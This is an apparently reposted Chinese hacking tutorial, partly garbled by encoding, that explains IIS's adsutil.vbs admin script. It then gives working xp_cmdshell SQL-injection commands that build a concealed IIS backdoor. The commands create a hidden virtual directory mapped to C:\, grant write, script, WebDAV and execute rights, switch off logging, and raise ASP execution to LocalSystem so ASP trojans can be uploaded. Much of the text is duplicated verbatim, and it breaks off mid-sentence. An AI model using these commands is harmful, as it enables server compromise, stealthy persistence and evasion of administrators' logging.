Adsutil.vbs 在腳本攻擊中的妙用[我非我原創(chuàng)]
更新時(shí)間:2007年03月17日 00:00:00 作者:
一、簡(jiǎn)單介紹
adsutil.vbs是什么?相信用過(guò)IIS的網(wǎng)管員不會(huì)不知道。這是IIS自帶的提供于命令行下管理IIS的一個(gè)腳本。位于%SystemDrive%\Inetpub\AdminScripts目錄下。足足有95,426 字節(jié)大小。這么大的腳本一看就知道功能強(qiáng)大。事實(shí)也的確如此?;旧衔业母杏X(jué)它就是個(gè)命令行下的“Internet 信息服務(wù)管理器”。(事實(shí)上2000的服務(wù)器上%SystemDrive%\Inetpub\AdminScripts下原有20多個(gè)vbs文件以供管理。而到了2003則只剩下adsutil.vbs一個(gè)了。足以說(shuō)明它的功能是多么復(fù)雜)
提到adsutil.vbs就不得不提到MetaBase.bin。這個(gè)文件是IIS最重要的配置文件。所有對(duì)IIS的設(shè)置最終都會(huì)儲(chǔ)存在這個(gè)文件中。IIS管理器和adsutil.vbs就是通過(guò)對(duì)這個(gè)文件讀取配置信息來(lái)顯示給用戶(hù)的。MetaBase.bin的儲(chǔ)存結(jié)構(gòu)十分像注冊(cè)表,是一種樹(shù)型儲(chǔ)存結(jié)構(gòu)。IIS管理器和adsutil.vbs通過(guò)一個(gè)Adspath的路徑來(lái)訪問(wèn)MetaBase.bin。路徑是由IIS:\開(kāi)頭,其中LocalHost表示本地服務(wù)器,而w3svc表示IIS服務(wù)。如IIS:\LocalHost/w3svc/1表示本地服務(wù)器上的第一個(gè)web站點(diǎn)。IIS:\LocalHost/w3svc/1/root/Vdir表示第一個(gè)web站點(diǎn)根目錄下的Vdir虛擬目錄。
有了這些前置知識(shí),下面再回到adsutil.vbs來(lái)看看它的用法吧:
C:\Inetpub\AdminScripts>cscript adsutil.vbs //別忘了鍵入cscript.exe這個(gè)腳本宿主文件名哦
Microsoft (R) Windows Script Host Version 5.6
版權(quán)所有(C) Microsoft Corporation 1996-2001。保留所有權(quán)利。
Usage:
ADSUTIL.VBS <cmd> [<path> [<value>]]
Description:
IIS administration utility that enables the configuration of metabase properties
.
Supported Commands: //支持的命令。這個(gè)最重要
GET, SET, ENUM, DELETE, CREATE, COPY,
APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP
PGETSTATUS
Samples: //簡(jiǎn)單的幾個(gè)例子
adsutil.vbs GET W3SVC/1/ServerBindings //查看第一個(gè)虛擬web站點(diǎn)的邦定端口。這里的W3SVC/1是IIS:\ LocalHostW3SVC/1的簡(jiǎn)寫(xiě),而ServerBindings是他的屬性。下同。
adsutil.vbs SET W3SVC/1/ServerBindings ":81:" //設(shè)定第一個(gè)虛擬web站點(diǎn)的邦定端口為81。
adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir" //在第一個(gè)虛擬web站點(diǎn)根目錄下建立一個(gè)MyVdir的虛擬目錄。后面的"IIsWebVirtualDir"指的是目錄類(lèi)型。
adsutil.vbs START_SERVER W3SVC/1 //啟動(dòng)第一個(gè)虛擬web站點(diǎn)。
adsutil.vbs ENUM /P W3SVC //查看IIS的所有站點(diǎn)。
For Extended Help type:
adsutil.vbs HELP //如果想要進(jìn)一步的查看幫助,鍵入此命令。我這里就不轉(zhuǎn)了。防止有人說(shuō)我賺稿費(fèi)。大家可以自己看看。
以上“//”后的文字都是我添加上去的注釋?zhuān)ㄏ峦O嘈胚@樣應(yīng)該可以看懂了吧大家。
我們所常用的adsutil.vbs的命令有這么幾個(gè):GET, SET, ENUM, DELETE, CREATE?,F(xiàn)在我來(lái)一一說(shuō)明:
GET命令通常是用來(lái)查看目錄的各項(xiàng)屬性值的。SET是用來(lái)設(shè)定目錄屬性用的。ENUM也是用來(lái)查看屬性。所不同的是他直接把所有設(shè)置了的屬性直接全部顯示出來(lái)。通常一個(gè)目錄就有好幾頁(yè)東西可看……他有個(gè)可選的“/p”開(kāi)關(guān)符。加上了此開(kāi)關(guān)的話。他只會(huì)列出此目錄下的所有虛擬目錄。DELETE命令是用來(lái)刪除虛擬目錄的。CREATE則是創(chuàng)建一個(gè)虛擬目錄。另外還有幾個(gè)命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER。分別是啟動(dòng)、停止、暫停、繼續(xù)虛擬站點(diǎn)的運(yùn)行。
一個(gè)虛擬目錄的大致屬性值如下(我只列出了可能我們所常用的,否則會(huì)太長(zhǎng)了):
KeyType : (STRING) "IIsWebVirtualDir" //目錄類(lèi)型,(STRING)說(shuō)明它是個(gè)字符串類(lèi)型的屬性
AppRoot : (STRING) "/LM/W3SVC/1/ROOT" //目錄IIS路徑
AppFriendlyName : (STRING) "默認(rèn)應(yīng)用程序" //應(yīng)用程序名
AppIsolated : (INTEGER) 2 //指定運(yùn)行于進(jìn)程外還是進(jìn)程中,數(shù)字類(lèi)型屬性。
HttpCustomHeaders : (LIST) (1 Items) //自定義IIS數(shù)據(jù)頭
"Powered By : www.WoFeiWo.Info"
HttpErrors : (LIST) (42 Items) //各種IIS代碼所返回的頁(yè)面??梢宰孕性O(shè)置。我這里將會(huì)顯省略了。
DefaultDoc : (STRING) "Default.htm,index.htm,Default.asp,in
dex.asp,Default.php,index.php,Default.aspx,index.aspx" //目錄的默認(rèn)主頁(yè)面名稱(chēng)。
Path : (STRING) "D:\ftp" //目錄所真正映射的物理路徑
AccessFlags : (INTEGER) 513 //我也不知道這是啥。反正沒(méi)設(shè)置過(guò)。好像會(huì)自動(dòng)設(shè)置的
AccessExecute : (BOOLEAN) False //目錄的執(zhí)行權(quán)限,是布爾值
AccessSource : (BOOLEAN) False //目錄的Webdav訪問(wèn)是否允許
AccessRead : (BOOLEAN) True //目錄的只讀權(quán)限
AccessWrite : (BOOLEAN) False //目錄的寫(xiě)權(quán)限
AccessScript : (BOOLEAN) True //目錄是否允許執(zhí)行腳本
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
AccessNoPhysicalDir : (BOOLEAN) False
ScriptMaps : (LIST) (27 Items) //應(yīng)用程序擴(kuò)展名映射
".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"
".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"
".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA
D,POST,DEBUG"
……………… //這里省略了n多數(shù)據(jù)
AspEnableParentPaths : (BOOLEAN) True
AppPoolId : (STRING) "DefaultAppPool" //應(yīng)用程序池名稱(chēng)
DontLog : (BOOLEAN) True //禁止IISLog紀(jì)錄
DirBrowseFlags : (INTEGER) -1073741762
EnableDirBrowsing : (BOOLEAN) True //目錄是否允許列目錄
DirBrowseShowDate : (BOOLEAN) True //這里及以下都是顯示目錄時(shí)的參數(shù)設(shè)置。英文都很簡(jiǎn)單。我也就不多說(shuō)了。
DirBrowseShowTime : (BOOLEAN) True
DirBrowseShowSize : (BOOLEAN) True
DirBrowseShowExtension : (BOOLEAN) True
DirBrowseShowLongDate : (BOOLEAN) True
EnableDefaultDoc : (BOOLEAN) True //是否開(kāi)啟默認(rèn)主頁(yè)文檔
以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己機(jī)器上察看到的。大家也可以自己輸入以上命令研究。
上面的屬性我們都可以來(lái)通過(guò)SET命令來(lái)進(jìn)行設(shè)置。如下方式:
cscript adsutil.vbs SET w3svc/1/root/目錄名/屬性名 設(shè)置值
如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1 //設(shè)置第一個(gè)虛擬web站點(diǎn)下的wofeiwo虛擬目錄的可讀權(quán)限為T(mén)ure
或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\” //設(shè)置目錄的映射路徑是“C:\”
下面來(lái)看看我們的簡(jiǎn)單利用的例子
二、adsutil.vbs的利用
(一)MSSQL Injection的上傳新思路
或許大家會(huì)在MSSQL的注入中碰到這種情況:SA權(quán)限??梢詧?zhí)行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)??墒欠?wù)器是在內(nèi)網(wǎng)。外面是個(gè)堡壘主機(jī)。只是做了個(gè)80端口的映射。3389開(kāi)了沒(méi)有用(內(nèi)網(wǎng)連不上?。?,所有反向木馬也傳不上去(Tftp、Ftp、Wget、exe2bat等等)這時(shí)候你該怎么辦?
Amanl大哥經(jīng)典的《榨干MSSQL最后一滴血》給我們一個(gè)很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一個(gè)新的虛擬目錄。自定義其映射的絕對(duì)路徑。這樣可以繞過(guò)了對(duì)web絕對(duì)路徑的猜解。然后通過(guò)BACKUP或MASKWEBTASK備份數(shù)據(jù)庫(kù)或臨時(shí)表到虛擬目錄下(或是直接echo)就可以得到了一個(gè)shell。
上面的想法的確很好??墒怯眠^(guò)臭要飯的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低……而echo……我也不想說(shuō)了。一行一行寫(xiě)那簡(jiǎn)直是找罪受。(還要不停的轉(zhuǎn)特殊字符……)
其實(shí)我們可以把Amanl大哥的想法改進(jìn)一下。在我們建立一個(gè)新的虛擬目錄的時(shí)候。可以加上寫(xiě)目錄的權(quán)限。再加上Webdav……那么我們不久可以直接通過(guò)IIS上傳任何文件了嗎?也不僅僅局限于文本文件了。如果我們上傳了個(gè)反向后門(mén)在通過(guò)SA執(zhí)行……呵呵,一切就都搞定了!
來(lái),馬上實(shí)行:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”';--
注意上面的特殊字符要自己轉(zhuǎn)變?;蛘吣憧梢杂肗BSI2或者小路的SQLCOMM來(lái)執(zhí)行以上命令。
這樣我們就在第一個(gè)web站點(diǎn)下建立了一個(gè)wofeiwo的虛擬目錄,映射到了C:根目錄。我再給他加上讀和寫(xiě)的權(quán)限,為了要一個(gè)webshell ,我再加上執(zhí)行腳本的權(quán)限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1';--
寫(xiě)到這看過(guò)Surperhei《對(duì)IIS寫(xiě)權(quán)限的利用》的朋友可能會(huì)想要自己構(gòu)造http包來(lái)上傳文件。其實(shí)有更簡(jiǎn)單的方法:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1';--
設(shè)置為允許列目錄和webdav訪問(wèn),然后打開(kāi)你的IE,Ctrl+O打開(kāi)“打開(kāi)”對(duì)話框,鍵入你剛才設(shè)置的虛擬目錄。選中“以Web文件夾方式打開(kāi)”,確定。如圖:
圖一
啊哈!看到所有的文件夾了嗎?如圖所示:
圖二
現(xiàn)在你就可以像操作普通文件夾一樣操作以上文件了。還可以Ctrl+C、Ctrl+V復(fù)制文件呢。實(shí)現(xiàn)了方便上傳、修改文件的功能。
(二)更進(jìn)一步
其實(shí)我們完全可以更進(jìn)一步利用上面所說(shuō)的思路直接制作一個(gè)IIS后門(mén)。來(lái),看我的實(shí)現(xiàn)!(這里使用了動(dòng)鯊在《近乎完美的IIS后門(mén)》中所介紹的方法。不過(guò)我是直接用adsutil.vbs這個(gè)MS自帶的工具完成了設(shè)置。對(duì)此文章感興趣的朋友可以自己找來(lái)看看。)
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';-- //首先建立一個(gè)wofeiwo目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"';-- //在wofeiwo目錄下又建立了一個(gè)door目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”';-- //設(shè)置door目錄映射到C:根目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1';-- //這里及以下都是給目錄設(shè)置個(gè)種權(quán)限??梢詤⒖家陨系拿钭⑨?。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1';--
可能會(huì)有人說(shuō),什么阿。不就是和上面的一樣嗎?呵呵。其實(shí)你仔細(xì)看。會(huì)發(fā)現(xiàn)我們上面新建的第一個(gè)目錄“wofeiwo”并沒(méi)有設(shè)置“Path”屬性。也就是說(shuō)他沒(méi)有映射到任何實(shí)際的目錄上去。這里應(yīng)用了IIS的一個(gè)漏洞(涉及到IIS5.0.1.0)。即對(duì)于沒(méi)有“Path”屬性的虛擬目錄是不會(huì)在IIS管理器中出現(xiàn)的。相當(dāng)于一個(gè)隱藏的目錄。而其下的虛擬目錄“door”同樣是由于上級(jí)目錄不可見(jiàn)的,所以它也是不可見(jiàn)的!但是“door”目錄是設(shè)置了“Path”屬性的。所以如果我們提交http://IP/wofeiwo/door/ 路徑。其結(jié)果是會(huì)返回C:下的文件目錄?,F(xiàn)在此目錄已經(jīng)是我們可以任意寫(xiě)文件讀文件了。并且還可以轉(zhuǎn)到System32目錄下對(duì)程序進(jìn)行運(yùn)行。我們的后門(mén)雛形建成了。(注意看我這里是加上了AccessExecute執(zhí)行權(quán)限的)
但是我們現(xiàn)在執(zhí)行的程序都還是IIS默認(rèn)的IUSR用戶(hù)的Guest權(quán)限。沒(méi)有大的權(quán)限我們總是不爽。下面來(lái)提升我們的權(quán)限,加IUSR用戶(hù)為管理員就不說(shuō)了。下面說(shuō)說(shuō)另兩個(gè)方法:
1、設(shè)置AppIsolated,使此目錄下程序在IIS的進(jìn)程中進(jìn)行。這樣就繼承了IIS的System權(quán)限。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0';--
2、 將解析asp文件的asp.dll加入到IIS的特權(quán)dll中。使得其在進(jìn)程中運(yùn)行。從而的到IIS的LocalSystem權(quán)限。
1)首先得到IIS所有的特權(quán)dll
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps';--
返回:
InProcessIsapiApps : (LIST) (5 Items)
"C:\WINDOWS\system32\inetsrv\httpext.dll"
"C:\WINDOWS\system32\inetsrv\httpodbc.dll"
"C:\WINDOWS\system32\inetsrv\ssinc.dll"
"C:\WINDOWS\system32\msw3prt.dll"
"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll"
2) 將asp.dll設(shè)置到InProcessIsapiApps組中去,這里要注意,把上面的所有查到的dll都加上,否則會(huì)被刪除。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"';--
返回:
InProcessIsapiApps : (LIST) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"
這樣就設(shè)置好了。以后無(wú)論什么asp文件就都是 LoaclSystem權(quán)限了。通過(guò)以上的步驟。我們的IIS后門(mén)基本上就是設(shè)置好了。你可以上傳asp木馬加以輔助控制。這樣的設(shè)置型后門(mén)是很難被管理員發(fā)現(xiàn)的。并且完全通過(guò)IIS的80端口通訊。又沒(méi)有日志記錄。所以相當(dāng)安全。
三、結(jié)言
到這里我關(guān)于adsutil.vbs的一點(diǎn)簡(jiǎn)單應(yīng)用就結(jié)束了。突然發(fā)現(xiàn)文章已經(jīng)寫(xiě)了那么多了。哇啊啊……文章寫(xiě)得好累阿。由于本人是一菜鳥(niǎo)。文章難免有疏漏。還請(qǐng)大家多多指教。有什么疑問(wèn)請(qǐng)和我聯(lián)系。我的郵箱:wofeiwo@bugkidz.org。或者大家可以到火狐技術(shù)聯(lián)盟http://www.wrsky.com來(lái)找我。我的ID:我非我。是論壇新手版的版主。
adsutil.vbs是什么?相信用過(guò)IIS的網(wǎng)管員不會(huì)不知道。這是IIS自帶的提供于命令行下管理IIS的一個(gè)腳本。位于%SystemDrive%\Inetpub\AdminScripts目錄下。足足有95,426 字節(jié)大小。這么大的腳本一看就知道功能強(qiáng)大。事實(shí)也的確如此?;旧衔业母杏X(jué)它就是個(gè)命令行下的“Internet 信息服務(wù)管理器”。(事實(shí)上2000的服務(wù)器上%SystemDrive%\Inetpub\AdminScripts下原有20多個(gè)vbs文件以供管理。而到了2003則只剩下adsutil.vbs一個(gè)了。足以說(shuō)明它的功能是多么復(fù)雜)
提到adsutil.vbs就不得不提到MetaBase.bin。這個(gè)文件是IIS最重要的配置文件。所有對(duì)IIS的設(shè)置最終都會(huì)儲(chǔ)存在這個(gè)文件中。IIS管理器和adsutil.vbs就是通過(guò)對(duì)這個(gè)文件讀取配置信息來(lái)顯示給用戶(hù)的。MetaBase.bin的儲(chǔ)存結(jié)構(gòu)十分像注冊(cè)表,是一種樹(shù)型儲(chǔ)存結(jié)構(gòu)。IIS管理器和adsutil.vbs通過(guò)一個(gè)Adspath的路徑來(lái)訪問(wèn)MetaBase.bin。路徑是由IIS:\開(kāi)頭,其中LocalHost表示本地服務(wù)器,而w3svc表示IIS服務(wù)。如IIS:\LocalHost/w3svc/1表示本地服務(wù)器上的第一個(gè)web站點(diǎn)。IIS:\LocalHost/w3svc/1/root/Vdir表示第一個(gè)web站點(diǎn)根目錄下的Vdir虛擬目錄。
有了這些前置知識(shí),下面再回到adsutil.vbs來(lái)看看它的用法吧:
C:\Inetpub\AdminScripts>cscript adsutil.vbs //別忘了鍵入cscript.exe這個(gè)腳本宿主文件名哦
Microsoft (R) Windows Script Host Version 5.6
版權(quán)所有(C) Microsoft Corporation 1996-2001。保留所有權(quán)利。
Usage:
ADSUTIL.VBS <cmd> [<path> [<value>]]
Description:
IIS administration utility that enables the configuration of metabase properties
.
Supported Commands: //支持的命令。這個(gè)最重要
GET, SET, ENUM, DELETE, CREATE, COPY,
APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP
PGETSTATUS
Samples: //簡(jiǎn)單的幾個(gè)例子
adsutil.vbs GET W3SVC/1/ServerBindings //查看第一個(gè)虛擬web站點(diǎn)的邦定端口。這里的W3SVC/1是IIS:\ LocalHostW3SVC/1的簡(jiǎn)寫(xiě),而ServerBindings是他的屬性。下同。
adsutil.vbs SET W3SVC/1/ServerBindings ":81:" //設(shè)定第一個(gè)虛擬web站點(diǎn)的邦定端口為81。
adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir" //在第一個(gè)虛擬web站點(diǎn)根目錄下建立一個(gè)MyVdir的虛擬目錄。后面的"IIsWebVirtualDir"指的是目錄類(lèi)型。
adsutil.vbs START_SERVER W3SVC/1 //啟動(dòng)第一個(gè)虛擬web站點(diǎn)。
adsutil.vbs ENUM /P W3SVC //查看IIS的所有站點(diǎn)。
For Extended Help type:
adsutil.vbs HELP //如果想要進(jìn)一步的查看幫助,鍵入此命令。我這里就不轉(zhuǎn)了。防止有人說(shuō)我賺稿費(fèi)。大家可以自己看看。
以上“//”后的文字都是我添加上去的注釋?zhuān)ㄏ峦O嘈胚@樣應(yīng)該可以看懂了吧大家。
我們所常用的adsutil.vbs的命令有這么幾個(gè):GET, SET, ENUM, DELETE, CREATE?,F(xiàn)在我來(lái)一一說(shuō)明:
GET命令通常是用來(lái)查看目錄的各項(xiàng)屬性值的。SET是用來(lái)設(shè)定目錄屬性用的。ENUM也是用來(lái)查看屬性。所不同的是他直接把所有設(shè)置了的屬性直接全部顯示出來(lái)。通常一個(gè)目錄就有好幾頁(yè)東西可看……他有個(gè)可選的“/p”開(kāi)關(guān)符。加上了此開(kāi)關(guān)的話。他只會(huì)列出此目錄下的所有虛擬目錄。DELETE命令是用來(lái)刪除虛擬目錄的。CREATE則是創(chuàng)建一個(gè)虛擬目錄。另外還有幾個(gè)命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER。分別是啟動(dòng)、停止、暫停、繼續(xù)虛擬站點(diǎn)的運(yùn)行。
一個(gè)虛擬目錄的大致屬性值如下(我只列出了可能我們所常用的,否則會(huì)太長(zhǎng)了):
KeyType : (STRING) "IIsWebVirtualDir" //目錄類(lèi)型,(STRING)說(shuō)明它是個(gè)字符串類(lèi)型的屬性
AppRoot : (STRING) "/LM/W3SVC/1/ROOT" //目錄IIS路徑
AppFriendlyName : (STRING) "默認(rèn)應(yīng)用程序" //應(yīng)用程序名
AppIsolated : (INTEGER) 2 //指定運(yùn)行于進(jìn)程外還是進(jìn)程中,數(shù)字類(lèi)型屬性。
HttpCustomHeaders : (LIST) (1 Items) //自定義IIS數(shù)據(jù)頭
"Powered By : www.WoFeiWo.Info"
HttpErrors : (LIST) (42 Items) //各種IIS代碼所返回的頁(yè)面??梢宰孕性O(shè)置。我這里將會(huì)顯省略了。
DefaultDoc : (STRING) "Default.htm,index.htm,Default.asp,in
dex.asp,Default.php,index.php,Default.aspx,index.aspx" //目錄的默認(rèn)主頁(yè)面名稱(chēng)。
Path : (STRING) "D:\ftp" //目錄所真正映射的物理路徑
AccessFlags : (INTEGER) 513 //我也不知道這是啥。反正沒(méi)設(shè)置過(guò)。好像會(huì)自動(dòng)設(shè)置的
AccessExecute : (BOOLEAN) False //目錄的執(zhí)行權(quán)限,是布爾值
AccessSource : (BOOLEAN) False //目錄的Webdav訪問(wèn)是否允許
AccessRead : (BOOLEAN) True //目錄的只讀權(quán)限
AccessWrite : (BOOLEAN) False //目錄的寫(xiě)權(quán)限
AccessScript : (BOOLEAN) True //目錄是否允許執(zhí)行腳本
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
AccessNoPhysicalDir : (BOOLEAN) False
ScriptMaps : (LIST) (27 Items) //應(yīng)用程序擴(kuò)展名映射
".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"
".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE"
".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA
D,POST,DEBUG"
……………… //這里省略了n多數(shù)據(jù)
AspEnableParentPaths : (BOOLEAN) True
AppPoolId : (STRING) "DefaultAppPool" //應(yīng)用程序池名稱(chēng)
DontLog : (BOOLEAN) True //禁止IISLog紀(jì)錄
DirBrowseFlags : (INTEGER) -1073741762
EnableDirBrowsing : (BOOLEAN) True //目錄是否允許列目錄
DirBrowseShowDate : (BOOLEAN) True //這里及以下都是顯示目錄時(shí)的參數(shù)設(shè)置。英文都很簡(jiǎn)單。我也就不多說(shuō)了。
DirBrowseShowTime : (BOOLEAN) True
DirBrowseShowSize : (BOOLEAN) True
DirBrowseShowExtension : (BOOLEAN) True
DirBrowseShowLongDate : (BOOLEAN) True
EnableDefaultDoc : (BOOLEAN) True //是否開(kāi)啟默認(rèn)主頁(yè)文檔
以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己機(jī)器上察看到的。大家也可以自己輸入以上命令研究。
上面的屬性我們都可以來(lái)通過(guò)SET命令來(lái)進(jìn)行設(shè)置。如下方式:
cscript adsutil.vbs SET w3svc/1/root/目錄名/屬性名 設(shè)置值
如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1 //設(shè)置第一個(gè)虛擬web站點(diǎn)下的wofeiwo虛擬目錄的可讀權(quán)限為T(mén)ure
或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\” //設(shè)置目錄的映射路徑是“C:\”
下面來(lái)看看我們的簡(jiǎn)單利用的例子
二、adsutil.vbs的利用
(一)MSSQL Injection的上傳新思路
或許大家會(huì)在MSSQL的注入中碰到這種情況:SA權(quán)限??梢詧?zhí)行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)??墒欠?wù)器是在內(nèi)網(wǎng)。外面是個(gè)堡壘主機(jī)。只是做了個(gè)80端口的映射。3389開(kāi)了沒(méi)有用(內(nèi)網(wǎng)連不上?。?,所有反向木馬也傳不上去(Tftp、Ftp、Wget、exe2bat等等)這時(shí)候你該怎么辦?
Amanl大哥經(jīng)典的《榨干MSSQL最后一滴血》給我們一個(gè)很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一個(gè)新的虛擬目錄。自定義其映射的絕對(duì)路徑。這樣可以繞過(guò)了對(duì)web絕對(duì)路徑的猜解。然后通過(guò)BACKUP或MASKWEBTASK備份數(shù)據(jù)庫(kù)或臨時(shí)表到虛擬目錄下(或是直接echo)就可以得到了一個(gè)shell。
上面的想法的確很好??墒怯眠^(guò)臭要飯的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低……而echo……我也不想說(shuō)了。一行一行寫(xiě)那簡(jiǎn)直是找罪受。(還要不停的轉(zhuǎn)特殊字符……)
其實(shí)我們可以把Amanl大哥的想法改進(jìn)一下。在我們建立一個(gè)新的虛擬目錄的時(shí)候。可以加上寫(xiě)目錄的權(quán)限。再加上Webdav……那么我們不久可以直接通過(guò)IIS上傳任何文件了嗎?也不僅僅局限于文本文件了。如果我們上傳了個(gè)反向后門(mén)在通過(guò)SA執(zhí)行……呵呵,一切就都搞定了!
來(lái),馬上實(shí)行:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”';--
注意上面的特殊字符要自己轉(zhuǎn)變?;蛘吣憧梢杂肗BSI2或者小路的SQLCOMM來(lái)執(zhí)行以上命令。
這樣我們就在第一個(gè)web站點(diǎn)下建立了一個(gè)wofeiwo的虛擬目錄,映射到了C:根目錄。我再給他加上讀和寫(xiě)的權(quán)限,為了要一個(gè)webshell ,我再加上執(zhí)行腳本的權(quán)限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1';--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1';--
寫(xiě)到這看過(guò)Surperhei《對(duì)IIS寫(xiě)權(quán)限的利用》的朋友可能會(huì)想要自己構(gòu)造http包來(lái)上傳文件。其實(shí)有更簡(jiǎn)單的方法:
